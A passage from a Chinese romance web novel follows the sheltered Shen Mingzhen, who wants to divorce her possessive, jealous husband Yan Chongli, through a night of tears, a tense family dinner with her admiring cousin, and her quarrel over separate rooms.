沈明祯有口难言,无法同他解释,但他看着她的目光,又让她觉得委屈至极。 “不是,你别自以为是了。”沈明祯越想越觉得委屈,大颗大颗的珍珠泪砸下来,积压多日的情绪,在这一瞬间,不管不顾全都涌上来。 “我明明没有哭的,你偏要误会我被感动哭。” “这下好了,我现在被你气哭了。” 沈明祯眼、鼻尖,通红一片,她胸腔内涌动的情绪,犹如山洪倾泻,他又怎么会懂她的委屈和难过。 “是我不好。”燕崇礼看着她,语调沉沉。 他都知道自己不好,为何还要惹她? 沈明祯觉得她如果不做点事情发泄,她可能快要忍不住大哭。 如果那样的话,实在是太丢人了。 “燕崇礼。” “我讨厌你。”沈明祯双手紧紧捂着脸,肩头不住地颤抖,细碎压抑的呜咽,伴着细弱的哭嗝。 屋子在顷刻间,陷入令人压抑的死寂,她被燕崇礼重重压进怀里。 “你放开我。”沈明祯握紧拳头,用尽浑身的气力去推他,发现推不动,干脆握成拳头,一下一下砸在他坚硬的胸膛上。 可惜她手嫩,舍不得用力,拳头落在他身上,更像徒劳的挣扎。 拒绝不了,也无法摆脱。 但是能怎么办呢。 沈明祯绝望地想,眼前的燕崇礼他什么都不知道,他只当他们新婚燕尔,是本该亲密的夫妻罢了。 “手疼了没有?”燕崇礼抬手,掌心稳稳扣住沈明祯纤细的双手手腕,声音放得很低。 肯定是疼了的,她皮肤本就娇嫩,手掌心在瞬间就红了一大片。 燕崇礼垂眸望着她泪流满面、浑身颤抖的模样,眼底翻涌着复杂难辨的暗色。 沈明祯的哭,一旦开始是很难止住的,她还在抽噎,根本不愿应声。 燕崇礼掌心微松,令她轻而易举挣脱。 他紧紧凝着她,声音平静带着趋于疯狂的纵容:“讨厌也没关系,心里有气,那就不必忍着。” “我们不用手,用牙好不好?” 话音落下,燕崇礼弯下腰,主动将他衣领上方一截修长结实的脖颈,递到沈明祯面前。 沈明祯哭声一滞,望着近在咫尺的侧颈,一时间忘了哭。 她想后退躲开,燕崇礼却突然伸手,手掌心重重掐着她不盈一握的腰,一字一句:“泱泱,你应该发泄的。” 沈明祯被蛊惑,渐渐失了理智。 她红着眼,猛地低头,狠狠一口咬在燕崇礼的侧颈上。 牙齿用力,湿润的唇微微张开,从远处看更像是亲吻。 沈明祯像是要把所有的委屈和不安,都宣泄在今夜。 燕崇礼弓着身体,一副任由她惩戒的模样,他非但没有觉得痛,反倒是生出更多的渴望,胸腔被填满,身体终于感受到真实,喉间溢出一丝极轻的低喘。 沈明祯咬累了,哭声渐止,紧绷的身体放松下来,软软倒进燕崇礼怀里,是毫无防备的模样。 “沈泱泱。” 燕崇礼猛地闭眼,稳稳把人抱起来,内心控制不住生出疯狂的情绪,她就算是哭,那也只能是他的。 沈明祯哭到脱力,整个人迷迷糊糊。 挂着泪珠子的眉眼此刻红得吓人,泪痕未干,潮潮浸湿了她鬓角的发丝,樱桃小嘴微张,雪白的贝齿隐隐可见,眉眼倦怠,只余细碎的呜咽声低不可闻。 燕崇礼看着怀里沈明祯难得温顺的模样,他低头,轻轻用鼻尖擦过她布满泪痕的脸颊,灼热的呼吸一点点向下,最后停在她无知无觉半张的红唇上。 唇舌交缠,发出很轻的水声,他似觉得不够,掌心捏着她的脸颊。 用力。 吻在狭窄湿润的空间里,变得更深更重,直到沈明祯嘤咛一声,仰着脖颈后缩,虚软的身体无力躲闪。 很短的距离,燕崇礼却抱着她走了很久。 绕过屏风,把人放到床上。 她这番模样,他又怎么舍得叫外头的人瞧见。 燕崇礼干脆亲自打水,由外到内,替她擦净身上所有潮湿的痕迹。 全部的衣裳要换成干净的,柔软的手心必须仔细上药,就连嘴唇和牙齿他都仔细检查过,有没有受伤。 至于沈明祯今夜情绪失控,身上那些因挣扎而不可避免压出的痕迹,燕崇礼不止在乎,他还会打上更多,只专属于他的烙印。 “这样才好。” “你只能是我的泱泱。” 燕崇礼从身后,紧紧拥住她,声音喑哑,轻如呢喃。 窗外,夜幕沉沉。 半垂的帐幔,陷在深浓夜色里的一切,都变得朦胧,只余满室寂静。 沈明祯沉沉睡着,眼尾那一片哭过的痕迹还未消退,就像一只受了惊扰、红了眼的兔子,此刻正乖巧蜷在锦被里。 燕崇礼就坐在床沿一角,大半身体隐在暗处,只有一点清浅的月光,落在他的身上,颈侧两道新鲜的齿痕,在昏暗里泛着刺目的红,清晰可见。 他看着她,不由想到,他的泱泱心里必定是有他的。 会变得这般满身是刺,归根结底,不过是因爱生恨罢了。 就算是恨又何妨。 沈氏最骄纵的幺女,千里远嫁西京成为他的妻子,他们婚后,满打满算也足足相处了三个多月。 一日夫妻百日恩,何况同床共枕近百日,她怎么可能心中全然无他。 燕崇礼垂了眼,勾唇缓笑,喉间低低闷出一声极轻的自语:“听闻我要留下来,她心里该是感动的。” 若是不感动,何至于哭得那样可怜。 水汽濛濛,一副脆弱无依的模样。 她脸上那些神态变化,他一点没有放过,又怎么会看错。 翌日,午间。 沈明祯终于从沉沉梦魇中,挣扎着醒来。 她身上乏得厉害,嘴唇不知道什么时候破了个极小的口子,双腿踩下去,如踩在棉花上。 莫不是病了吧。 沈明祯自己吓自己,吓了一跳。 好在洗漱过后,零碎的记忆涌入,她断断续续想起不少事情。 她被燕崇礼气哭,最后好像还咬了他,难不成她嘴上的伤,就是咬他的时候,牙齿不小心磕到的? 午膳摆在玄珍阁小花厅,沈明祯一顿饭吃得心不在焉。 正午阳光滚烫火辣,温嬷嬷穿过廊庑,笑眯眯捧着一大束荷花进屋:“娘子,今年新出的夏荷,你看看,这花开得比往年都盛。” 花是开得好,大朵不说,还粉嫩粉嫩的,其中夹着几只未熟透的莲蓬,花苞上还挂着水珠。 沈明祯觉得好看,心情也稍稍好了些:“阿温,你去寻个白釉梅瓶把这捧荷花插起来,就放在临窗的花架上,我一抬眼就能看见。” 温嬷嬷笑眯眯点头,一边走一边道:“这些荷花,是郎君一大早亲自下池子里摘的。” “眼下莲蓬还未熟,等到七月初,正是吃莲子的好时候,郎君说了,到时再亲自摘些新鲜的莲蓬,挨个挑出来,给娘子煮甜汤喝。” “我从今天开始,不喜欢吃莲子。”沈明祯搁下汤匙,郁闷道。 结果一抬头,就看到温嬷嬷正踮着脚,把那格外显眼的一大捧荷花置于花架上,她就更是心烦意乱。 到底该怎么办才好? 如今进退不得,燕崇礼来钱塘才短短十多日,就已经得到全沈宅上下,包括大黄在内,所有人的喜爱。 当然,这个所有,并不包括她。 要不! 干脆和燕崇礼摊牌。 好像这也不太行,毕竟家里没有一个人是支持她的。 沈明祯在屋里待得烦闷,加上那夏荷的清香,无孔不入混在她呼吸里,一看到花,就想到燕崇礼,一想到燕崇礼,她就觉得人生灰暗。 不如,干脆出门走走。 “娘子这是要去哪里,外边日头大,莫要晒伤了。”温嬷嬷见沈明祯往外走,她赶忙去拦。 “嬷嬷,我在屋子里闷得慌。”沈明祯站在门前,用手扇风,蹙着眉心望着天穹高悬的日头。 “现在正是热的时候,娘子不如先喝碗凉凉的酸梅汤,等一两个时辰,太阳快落山再出门也不迟。”温嬷嬷站在门边,很紧张地朝外看。 “也对。”沈明祯想了想,这个时辰兄长估计也都躲在屋里不出门,不如过了正午最热的时候,再说也不迟。 她正准备退回去,结果一转头,看见温嬷嬷一副心虚拍着心口,大松一口气的模样。 不对劲。 现在这个天气,还没有到盛夏,就算热也不至于晒伤,更何况温嬷嬷怎么一副特别害怕她出门的模样。 “阿温,你有事瞒着我?”沈明祯问。 温嬷嬷摇头:“怎么会,老奴能有什么事瞒着娘子。” 沈明祯上下打量,见温嬷嬷紧张,连眼睛都不敢看她:“说吧,究竟有什么事,还不能让我知道的。” 温嬷嬷没有办法,只能小声说:“是容家三郎君来了,正在沁园陪夫人说话。” 容三哥哥。 沈明祯先是一愣,然后眼睛渐渐亮了。 容裴卿是她嫡亲姨母完颜清禾的儿子,在容家排行第三。 他们二人年纪只相差一岁,一同长大,自幼他与她关系最好,她也是糊涂了 ,回了钱塘还把容家三哥哥给忘了。 沈明祯看着温嬷嬷,深吸一口气:“既然容三哥哥来了,那我得去寻他说说话。” 这一刻,屋子里的花不碍眼了,凉凉的酸梅汤立即忘到脑后,沈明祯取了把团扇,心情瞬间好起来:“阿温你留在玄珍阁,我带澜琚去找容三表哥说说话。” 说完,她根本不等温嬷嬷反应,头也不回地跑出去。 天菩萨,怎么就没拦住呢。 温嬷嬷顿时急了。 前头容家三郎君过来的时候,夫人就特地嘱咐她,千万要把娘子哄在自己的院子里。 毕竟刚回来的次日,夫人就喊她过去问过话。 不问不知道,一问之下,温嬷嬷吓一大跳。 她不懂自家娘子怎么好端端地要和离,明明在崇文侯府,夫妻二人相处起来,可以说是十分亲密无间。 别说受委屈了,就算是茶凉了一点半点的,郎君都要盯着人去换。 见沈明祯走远,温嬷嬷越发着急。 容家三郎对沈明祯的爱慕,只要长眼睛的都看得出来,若是没有和离这种事哽在心口,也就睁一眼闭一只眼,当作表亲兄妹相处着,谁都不点破那层薄薄的纸。 可是眼下沈明祯已经嫁人,容家恐怕还惦记的,他要是知道自家娘子要和离,那不得兴风作浪闹一通。 两家人都要脸面,自家娘子懵懂只把对方当兄长看,可容三郎恐怕不会这样想。 其实也不是说容三郎不好,容家是世家,家中底蕴也算丰厚。 只可惜沈家势大,但不参与朝中派系,沈氏这一辈,也就得了沈明祯这么一个娇滴滴的女郎,就怕嫁到容家,明珠一样叫人垂涎的宝贝,容三郎天真烂漫的少年心性,又如何能护得了。 温嬷嬷左想右想,干脆一咬牙,朝不远处的辛雉?招手,小声吩咐:“你赶紧让人去找万叔,给郎君带个话。” “就说今日的莲蓬太涩,娘子不喜欢。” 沁园。 容裴卿陪着完颜清嘉聊天。 他生得温润,眉眼清隽,秀气的五官带着少年独有的风华。 完颜清嘉垂眸喝茶,作为长辈,她对容裴卿其实是十分喜爱的,因为缓和了嗓音:“明祯那孩子,早晨醒得吃,估摸这用了午膳,她得在屋里看话本子躲懒。” “好孩子,今日又劳烦你空跑一趟。” 容裴卿站起来,朝完颜清嘉行礼,准备告辞:“婶娘您说笑了,今日过来,我是得了母亲的吩咐,特意过来看你的。” “明祯难得归家,我也不想多扰了她的清静。” 话虽这么说,可其实容裴卿过来,哪次不是为了见沈明祯一面。 完颜清嘉望向眼前她看着长大的少年,眼看十九,很快该行冠礼了。 但看起来,依旧是涉世未深的模样,可能是因为家中有兄长,操心的事根本轮不到他。 该走了,容裴卿心中闪过失落,明明知道对方已经成亲,他就是控制不住自己,他想看她过得好不好,是不是瘦了,有没有受委屈。 要说多坏的心思,那倒真没有。 从知道他与她不可能的那一天开始,容裴卿就告诉自己,两人一起长大,总归家中无妹妹,他把她当作亲妹妹对待也一样。 容裴卿转身,准备离开,远远就听见一个声音跑近。 “容三哥哥……”沈明祯穿过月亮门洞,提着裙摆,像一只蹁跹的彩蝶。 半年不见,她音容笑貌依旧,甚至更美了。 容裴卿僵住,有片刻的失态,深吸一口气,克制着声音:“明祯妹妹。” “容三哥哥怎么喊得如此生疏。”沈明祯眼中是未曾掩饰的欣喜,对于她来说,钱塘是一场旧梦,而眼前人,是能好好活着的亲人,他待她那样好,她为什么要去避嫌。 “多大的人了,还这样毛毛躁躁。”完颜清嘉不动声色,把沈明祯拉开些,“你容三哥哥来了几日,你都在屋子里躲懒,这回好不容易见着,那就陪着在花厅里说说话。” 沈明祯欣然点头:“容三哥哥好不容易来一趟,我与他隔了许久未见,不如就留下来一起用晚膳吧。” “我让小厨房多准备几道你爱吃的菜,好不好。” “盛情难却,我自当留下。”容裴卿短暂愣神后,还是硬着头皮应下。 她往后回家的时日肯定不多,也许这是他们最后一起用膳,他应当珍惜才是。 花厅里正热闹时,廊外忽然一静,然后是不急不缓的脚步声。 容裴卿似有所感,抬眼看过去,整个人僵住。 不是说文臣吗,怎么有这么浓的压迫之势。 灼眼的日光下,一道高大的身影,慢慢迈上台阶。 宽肩、窄腰,极具压迫感的骨架,如山岳巍然。月白色圆领窄袖衣袍,领缘滚着一圈孔雀蓝贴边,随着他迈步的动作,像清浅的湖水,也像碧波荡漾的海面。 此刻光影从他身后倾泻而来,把整个人勾勒得凌厉异常。 “夫人。”燕崇礼的声音很低,似乎还透着无可奈何的宠溺,可惜大半张面容隐在阴影里,只余下冷硬的下颌,以及侧颈清晰分明的鲜红咬痕。 沈明祯心脏重重一跳,从他身上感觉到了无法形容的危险。 “燕世子,幸会。”容裴卿站起来,朝对方行礼。 燕崇礼居高临下,不过是淡淡颔首,目光一秒都没停留在他身上。 他缓步走到沈明祯身后,宽大手掌稳稳落在她的肩头。 宣示主权的意味,不言而喻。 7.醋海翻波 因家中有客,晚膳就摆在沁园东侧小花厅。 席间七人,沈敬川和完颜清嘉夫妻坐在一处,沈明祯则坐在完颜清嘉右手边的位置,她身边坐的自然是燕崇礼。 再往右,就是沈家两兄长,沈聿修和沈妄二人。 圆桌不大,容裴卿的座位刚好正对沈明祯。 因为都是亲近之人,用膳时倒是不太讲究食不言的规矩。 席间言谈,容裴卿熟知沈明祯的口味,也就顺手调配了一小碟,她少时爱吃的鲈鱼脍,隔着罗列的杯盏递了过去。 “尝尝看。” “还是不是往日爱吃的味道。” 他的言谈举止,可以说得上十分得体,不过就像寻常兄长对家中幼妹的关照。 “谢谢容三哥哥。”沈明祯伸手接过,澄澈的眉眼顿时浮起笑意。 燕崇礼看了容裴卿一眼,像是不经意扫过,他面上依旧是从容温润的模样,挑不出半分异样。 只是垂下眼皮时,眼底的温度猛然淡下去几分。 手中筷子被他握得紧,缓了半晌,燕崇礼夹了一筷子荷包蒸的桂花藕到沈明祯碗里,似无意道:“鱼脍生冷,先吃些热菜,垫垫肚子。” 说着,又另外给她碗里添了几样菜式,一层一层堆满,直到完全看不见那点可怜的鲈鱼脍。 容裴卿闻言,匆匆抬眼一瞥,恰好和燕崇礼的目光对上。 无声无息,容裴卿背脊顿时一僵,周身那股无形的压力,像沉着很重的戾气,随时能把他碾碎。 只不过这种怪异的感觉,只存在瞬息,更像是他的错觉。 沈明祯垂眼看着碗碟里满满当当的食物,不满地咬着唇。 燕崇礼怎么回事,夹这么多,也不想她这一顿能不能吃得完。 保不齐,又是什么折磨她的新方法。 这是不逼她吃苦药,现在改逼她吃饭了是吧。 沈明祯抿唇,就知道昨日苦惨了咬他那事,被他记在心里了,这样想着,她索性不理他,端起手边盛着鲜莼羹的青瓷汤碗,调羹搅了搅,喝进去一大口。 汤其实不算烫,但是她早晨起来时,嘴唇破了一个小口。 有温度的羹汤沾到嘴唇上,尖锐的烫意瞬间在皮肤上炸开,她没忍住嘶地倒吸一口凉气,眉心蹙起。 “烫着了?” “我看看。”燕崇礼伸手直接将她手里的汤碗收走,搁在一旁。 不等沈明祯反应,他手掌已经抬起她的下颚,指腹轻轻在她唇上按了按:“很痛?” 沈明祯被他捏着脸,说不出完整的话,加上本就娇气,皮肉细嫩,她泛着水光的眼睛眨了眨,朝他无声摇头。 这么多人看着,她可不想显得和他太亲密,但当场落他面子,又不是她这种心地善良的女郎会做得出来的事。 燕崇礼细细端详,沈明祯下唇的小伤口并不明显,只是比起其他的地方,泛着一点点略深的红:“不算严重,等夜里我给你重新涂一遍药。” 说完,他指着桌上的鲜莼羹:“还喝吗?” 沈明祯想了想,沉默点头。 于是,燕崇礼拿起桌上的汤碗吹了很久,见温度差不多,他才递过去。 新婚小夫妻的这种互动,落在旁人眼中,自然显得亲密无间。 可沈明祯的二哥哥沈妄不算这个“旁人”,他整日沉迷问卦,古板又顽固。 勤学好问的沈二郎问了一个所有人都心知肚明,又不敢点破的问题:“好端端的,嘴皮子怎么就破了呢?” “我记得泱泱归家前,母亲就带着人把屋子仔仔细细清扫过,驱蚊的香薰一连熏了好几日。” “难不成是家中的仆妇做事不够尽心?” 完颜清嘉:“……”有时候她真恨,二儿子怎么好端端地就长了嘴呢。 沈明祯都快把头埋到碗里去了。 奈何她这位心里只有卦象的二哥哥,是个不依不饶的主。 沈妄:“泱泱怎么不说话?” 沈明祯喉咙咽了咽:“哥哥莫要胡说,我只是不小心磕着了。” 沈妄:“我怎么瞧着不像?” 完颜清嘉直接把桌上的蒸蟹端到沈妄面前:“吃吧,这是你最爱吃的。” “你妹妹说磕着就是磕着了,你管她是磕到哪里,像不像的。” 沈妄接过螃蟹,正准备闭嘴。 结果视线一凝,看见砚崇礼侧颈的位置红了一大片:“还说不是虫子咬的。” “燕家二郎那颈子,都快被虫子咬成花了。” 燕崇礼侧颈上的咬痕,他不提的话,借着衣领遮掩,其实就算看见了,也不会有人木鱼脑袋去点破。 席间落针可闻。 沈明祯一口羹汤含在嘴巴里,被沈妄这惊世骇俗的言论一炸,好不容易咽进喉咙后,捂着心口,连连咳嗽。 燕崇礼拧着眉,掌心隔着薄薄的衣服,替深沈明祯轻轻拍背,语调不赞同道:“不过说是虫子,你何须咳成这样。” 你才虫子。 你全家虫子。 沈明祯瞪他。 沈妄看众人表情都有些不太对,他看不懂人心,难道还能看不懂脸色:“怎么?我又说错话了?” 沈明祯终于缓过来,她朝沈妄摆手:“二哥哥,这鲜螃蟹凉了腥气重,你还是快些吃吧。” 沈妄点头:“也对,还是妹妹最关心我。” 燕崇礼见沈明祯不死心,还要去端那碗鲜莼羹,直接抬手把汤碗拿走:“别喝了,这碗汤今日恐怕与你不合。” 沈明祯:“……” 到底是谁跟谁不合。 明明她和燕崇礼才是八字不合。 两人对视,沈明祯视线不受控制落在燕崇礼刺目分明的咬痕上,她眼中不禁闪过狐疑,虽然是有咬他的记忆,但是她有毛病吧,怎么会咬在脖子这种亲密的地方? 而且她这段时日还不停在母亲面前闹着要和离。 这暧昧异常的痕迹,还咬得满脖子…… 她到时又该怎么解释? 用过晚膳,容裴卿起身告辞。 沈明祯见他要走,赶忙挥手叮嘱道:“容三哥哥,别忘了我们约好的。” 容裴卿点头,想着明日许是最后一次放任自己。 他虽未成亲,但并不是沈妄那种两耳不闻窗外事的性子,他本以为沈明祯远嫁去西京,定是万般不适应的,但今日看他们夫妻相处。 她应该是喜欢那个男人的,不然怎么会咬得 那般亲密,连脖子都是,更何况是别的地方。 入夜。 沈明祯朝父母行礼后,和燕崇礼一起回玄珍阁。 燕崇礼走在前面,月光落在他肩头,像一层薄纱,更显得身形高大。 沈明祯慢悠悠跟在他身后,也不知是不是错觉,总感觉今夜冷风阵阵,连后脖颈都凉飕飕的。 若是往常,燕崇礼总会等她一会儿,今日倒是走得出奇的快。 沈明祯后知后觉反应过来,今夜晚膳他好像也没吃动几筷子。 哦!她想起来了。 燕崇礼好像不吃鱼,任何腥气重的东西他都不碰。 而今夜晚膳,多是她喜欢和容裴卿喜欢吃的东西。 本就是这样,她生在钱塘,这里的居民吃食本就多以河鲜为主。 难怪他都没怎么吃。 沈明祯想通这些,看着燕崇礼的背影,眼睛眨了眨。 这是好事啊。 只要燕崇礼吃不惯,住不惯,那自然心情不好。 心情一直不好呢,他就在钱塘就待不了很久。 越想越觉得有道理,沈明祯小跑着追上燕崇礼的步伐,看似很关心,实则在挑衅。 她慢悠悠的语调,软糯可人:“瞧着郎君今夜的晚膳好似用不惯,想来还是西京的食物更加可口一些。” “郎君可千万不能勉强自己。” 燕崇礼闻言,慢慢停下脚步,侧过身。 他沉沉的目光牢牢锁着沈明祯,方才席间妒意、占有,万般情绪拧成一团。 “夫人。”燕崇礼伸出手,掌心上抬,拇指和食指微微用力,捏住沈明祯两侧脸颊。 迫着她不得不抬头,看向自己。 “何……事?”沈明祯想要偏头躲开,可哪里博得过他的力气。 下一瞬,男人骤然俯身。 温热的唇落下来,不是吻,是带着力道的一咬。 沈明祯能清晰地感受到,燕崇礼鼻尖抵着的耳朵,锋利的牙齿啃在她柔软的脸颊上。 力道不轻,虽不至于咬破皮肉,却足够留下清晰的痛感。 呼吸交错,他一口即松。 但唇瓣依旧贴在她颊边,哑声低低吐出一句:“果然是江南水乡养人,若论可口,哪里比得上夫人半分。” 被他咬过的地方,火辣辣地发烫。 沈明祯僵住,人也呆呆的。 等半晌,燕崇礼都走远了,她才反应过来。 狠狠一抹脸颊,对着空气挥拳:“啊啊啊啊!燕崇礼我要杀了你!” 他是属狗的! 她一定是属狗的! 等她回屋,燕崇礼已经沐浴完。 沈明祯也不理他,自己抱着枕头,身后的温嬷嬷几人低眉垂眼,怀里抱着锦被、褥单各种零碎小物件,正要往外走。 “嬷嬷这是作何?”燕崇礼倚着门,语调虽含笑,眼神却是冰冷。 温嬷嬷身体抖了抖,小声道:“娘子说夜里虫子多,怕咬着她,所以打算换一个屋子睡。” 燕崇礼点头:“也对。” “既然如此,劳烦嬷嬷连我的也一并收拾了吧。” “我与泱泱,新婚的夫妻,怎么能分房睡呢。” 8.吃醋? 怎么不能! 沈明祯瞪了燕崇礼一眼,气鼓鼓的脸颊上还留着一个浅浅的牙印:“阿温,快快快……快搬。” “把屋里的东西,尽数挪到西侧间。” “还有我的话本子和零嘴别忘了。” 温嬷嬷身体僵了僵,为难站在原地,迟疑道:“娘子,夜里太迟,不如明日再搬。” 沈明祯哪能等到明日,她恨不得立刻搬走。 谁知道等过了今夜,燕崇礼又能想出稀奇古怪的法子和她亲近,还不如趁着眼下这天大的借口,好好闹一通。 她果断否决:“不行,今夜就得搬。” “是。”温嬷嬷点头,低头缩着脖子,根本不敢朝身后看,似被鬼撵着一般,带着澜琚几人用逃命的速度,蚂蚁搬家似的一趟趟往西侧间挪东西。 燕崇礼双眸微眯,盯着沈明祯的背影,许久他都没有动一下。 直到等东西差不多搬完,沈明祯怀里抱着最后几册话本子,带着澜琚正要往外走。 “夫人。”燕崇礼盯着她,薄薄的唇抿着,漫不经心的嗓音。 好端端喊她干嘛? 还用这种温和至极,又令人毛骨悚然的声调。 给她一种要大祸临头的错觉。 “干……干什么?”沈明祯僵硬回过头。 前庭吹来的夜风,从屋中穿堂而过,窗外树影摇曳,不时响起各类高低起伏的虫鸣声。 燕崇礼迈步上前,朝沈明祯慢慢俯下身,他幽深的眼眸看着她低声道:“西侧间紧挨着后院栽种的山茶和梅树。” “所以……”沈明祯不由紧张。 燕崇礼眉峰微挑,眼尾透着丝丝邪气:“盛夏草木繁茂,朝西的那几扇窗子,夫人记得一定得仔细关紧了。” “否则不光是蚊虫多,还有飞蛾、螽斯、夜蝉……” 他声音顿了顿,俯低的身姿,唇角阴影勾了勾:“我若没记错,夫人应该是怕虫的,若是一个不小心,扑凌蛾子落到帐幔上。” “嗡嗡嗡地满屋子乱飞,若蛾粉沾到皮肤上多半是会起疹子的,那夫人恐怕要整夜都合不上眼。” “我……郎君莫要造谣,我才不怕那些东西”沈明祯哪怕掩饰得再好,她抱着书的指尖还是骤然绷紧。 “哦,是吗?”燕崇礼忽地笑得别有深意,“想必夫人出嫁前,那西侧间也时常空置。” “就算点了熏香,也保不齐有运气不好的时候,再说蚊虫也就算了,万一遇着蛇鼠,夫人可如何是好呀。” 这一刻,沈明祯脸上表情明显僵了一下。 她急急去看温嬷嬷和澜琚,声音发虚:“郎君说的都是真的吗?不会是唬我的吧?” 澜琚年纪小,早就被吓得半死。 温嬷嬷低头看着脚尖,不敢看沈明祯的眼睛,声音呐呐道:“娘子,西边的屋子虽然熏过,但郎君说的也不是没有可能。” 燕崇礼闻言,不动声色看了温嬷嬷一眼,漆眸中赞许一闪而过。 沈明祯站在外间,走也不是,退又退不得。 那该怎么办? 她可是怕极那虫蚁蛇鼠。 那……她现在搬回去还来得及吗? 可是就算要搬回去,她的脸面也很重要,那可不能被燕崇礼看轻,必须得燕崇礼主动留她。 沈明祯一双手紧紧捏着书,就像抓到了救命的稻草,她以极慢的速度,一小步一小步往外挪。 内心不断祈祷,他肯定会留她的。 毕竟燕崇礼说过,他们是新婚的夫妻,哪能分房睡呢。 只要他稍微拦一拦,她就立马顺势留下来,绝口不提自己胆小怕虫子。 很可惜,过了好半晌,沈明祯就快走到屋外了,身后依旧毫无动静。 怎么还不拦着她? 沈明祯一阵气急。 “泱泱。”燕崇礼喊她。 来了!来了! 她就知道,他作为端方君子怎么能无动于衷呢。 沈明祯激动地回头。 燕崇礼望着她,夜风在他身上留下忽明忽暗的影子。 在沈明祯期待的目光下,他从怀里掏出一沓巴掌那么厚的黄色符纸,塞到她手里:“这是之前宴席时,你二哥哥私下塞给我的驱虫符。” “夫人拿好,夜里保不齐能用上。” “就算用不上,放着枕子下,夜里睡得也能安心些。” 沈明祯:“……” 一开始她顾忌着脸面,进退两难。 好了! 这下退路直接堵死,她不去都不行。 夜深,玄珍阁西侧的屋子。 小花园里,梅枝在地上投下长而凌乱的影子,不时有风吹过,斜影微晃,落在紧闭的窗子上。 夏夜的虫鸣声,不绝于耳。 更是此起彼伏地,顺着窗纱缝隙钻进屋中。 沈明祯闭着眼睛,缩在被子里,外头的帐子垂得严严实实,可越是看不见,越是能滋生出各种虫蚁飞蛾,在屋外或者帐幔上,簌簌爬动的画面。 她身体绷得很紧,被褥蒙着脑袋,辗转反侧。 困得眼皮子像坠了两颗大石头,神经却绷到极致。 一点细微的声响,都叫她浑身一悚,睁着眼睛望着帐顶的承尘,连呼吸都放得轻,但始终不敢睡着。 温嬷嬷带着澜琚守在外间,昏朦的烛影一跳一跳的。 沈明祯探出脑袋,怀里抱着一摞黄符,小声朝外边道:“阿温,我睡不着。” 温嬷嬷闻言,眼中温柔之色胜过无奈:“要不,老奴重新收拾收拾,咱们回原先的屋子?” “不行。”沈明祯摇头拒绝,“我不回去。” 温嬷嬷迟疑:“那老奴请郎君过来陪您?” 沈明祯果断一蒙头,给自己加油鼓劲:“我突然觉得我又不怕了。” 温嬷嬷:“……” 门外廊下,一道高大的身影静立在夜色里。 燕崇礼就站在靠窗离她最近的地方,衣袍被夜露浸湿,透着微凉的潮意。 他并没有出声惊扰她,只隔着一扇窗子,静静听屋内传出的动静。 面对沈明祯这种无论如何都想同他和离的倔脾气,他不是没有法子惩罚她。 只是望着那双委屈时,蓄着眼泪,雾蒙蒙的眼睛,胸口就像被人拿刀捅似的舍不得。 打着和离心思的女郎,无论如何都是不能惯的,这是他的底线,也是逆鳞。 燕崇礼克制着情绪,就算知道她怕虫,知道她会彻夜难眠,他宁可就这样,守在外边,听着屋内女郎可怜兮兮发出来的动静。 直到…… 夜色褪尽,天际泛起蒙蒙的白灰色,花园里虫鸣也渐渐稀疏。 沈明祯翻来覆去,是在天快亮时紧绷了一整夜的心才渐渐放松,终于在天亮时抵不住倦意昏昏睡去。 燕崇礼抬手推门,确定屋内的人已经彻底睡熟。 熹微的晨光,漫进屋中。 他脚步声悄然无息,慢慢走到床前,垂眸看向被子里蜷缩成一团的人。 燕崇礼俯身,居高临下打量,直到沈明祯无意识嘤咛一声,他回过神,伸手稳稳将人打横抱,揽进怀里。 怀里的人并未惊醒,只是下意识往他温暖的胸膛里缩了缩。 临近午间,沈明祯半点没有要醒的意思。 温嬷嬷见燕崇礼坐在窗边看书,只得壮着胆子上前请示:“娘子今日约了和家中兄长们,去西湖泛舟,不知……” 燕崇礼抬眸,睨着温嬷嬷:“不必喊她。” “至于西湖泛舟。”他冷笑一声,脸上没有半点表情,“希望嬷嬷记住了,我与泱泱本就夫妻一体,她没办法、不能做的事。” “我替她去,也是一样的。” 温嬷嬷这个岁数都快活成人精了,还有什么不懂的。 郎君作为男子,怎么能容忍自己妻子和外人游湖,更何况,以郎君深沉的心思,怎么可能看不出来,那位容家表公子眼里的爱慕之意。 她当即把腰弯得更低,恭恭敬敬道:“郎君说的,老奴都会记在心里。” 转眼一个时辰后。 时间临近正午,是外头最热的时候。 前往西湖的官道,燕崇礼像是感受不到晒人的日头,慢悠悠打马在前,身后跟着沈家两位兄长,沈聿修和沈妄。 沈聿修还好,至少精通骑射不至于太狼狈,可怜手无缚鸡 之力的沈妄骑在马上,摇摇晃晃,眼睛被太阳晒得睁不开,连路都看不清。 “大哥何必骑得那样快。” “燕世子着急替泱泱赴约,我们又不急,还不如慢悠悠的好。”沈妄拽着缰绳,声音也被颠簸得时高时低。 沈聿修回头,表情很是担心:“你说燕世子会不会和容三郎,打起来?” 沈妄瞪圆眼睛,显得十分不解:“啊?好端端打架做什么。” “他们崇文侯府燕家的家风,向来不是以理服人吗?” “再说了,大家都是文雅的读书人,你以为是那些一言不合就卷袖子的边关的武将啊。” 沈聿修看着只长个子,不长脑子的弟弟,长叹一口气:“算了,跟你说,也说不通,爹娘这辈子也指望不上你了。” “要是没打起来也就算了,万一真打起来,你记得要躲远些。” 沈妄不屑冷哼,半点也不放在心上:“我是次子,又不继承家业,指望我作何?我还指望你呢。” “再说了,燕世子作为当朝最年轻的状元得圣人重用,看着文质彬彬,哪里像是会打架的。” 沈聿修狠狠抹了一把脸上的汗珠,忍着翻白眼的冲动,无语望天,决定不跟傻子计较。 …… 另一边,容裴卿收到沈家让人递的消息,他早早就到西湖边搭好凉棚等着了。 临近正午,太阳晒得连蝉鸣声都断断续续。 容裴卿心里虽然很不解,为什么沈家兄弟选了这么一个时间,但一想到沈明祯会到,他也顾不得那么多。 不多时,远处传来嘶鸣的马蹄声,惊得他一愣。 骑马? 不应该坐马车吗? 可惜根本不容他多想,燕崇礼已经簕紧缰绳,堪堪在他面前停下来。 “燕世子?”容裴卿震惊,莫名其妙一股冷汗,刷的一下淌下来,他格外紧张站着。 燕崇礼没有下马,像是上位者那般,居高临下打量他。 容裴卿正不知该如何应对,毕竟对方面无表情的样子,实在叫他心底发慌。 万幸没多久,沈聿修也骑马赶到。 他朝容裴卿抱拳,带着歉意解释:“明祯屋里昨夜闹了虫子,她夜里睡得迟,今日恐怕是来不了的。” “原本应该早早与你说一声的,只是……”沈聿修顿了顿,深吸一口气继续道,“明祯的夫君可崇礼说了,他与明祯夫妻一体,既然是西湖泛舟,他替她走一趟赴约,也算成人之美。” 容裴卿听完除了失落,还莫名觉得一阵怪异。 好在他心思不深,虽然想不通,但又觉得表妹也不是故意不来。 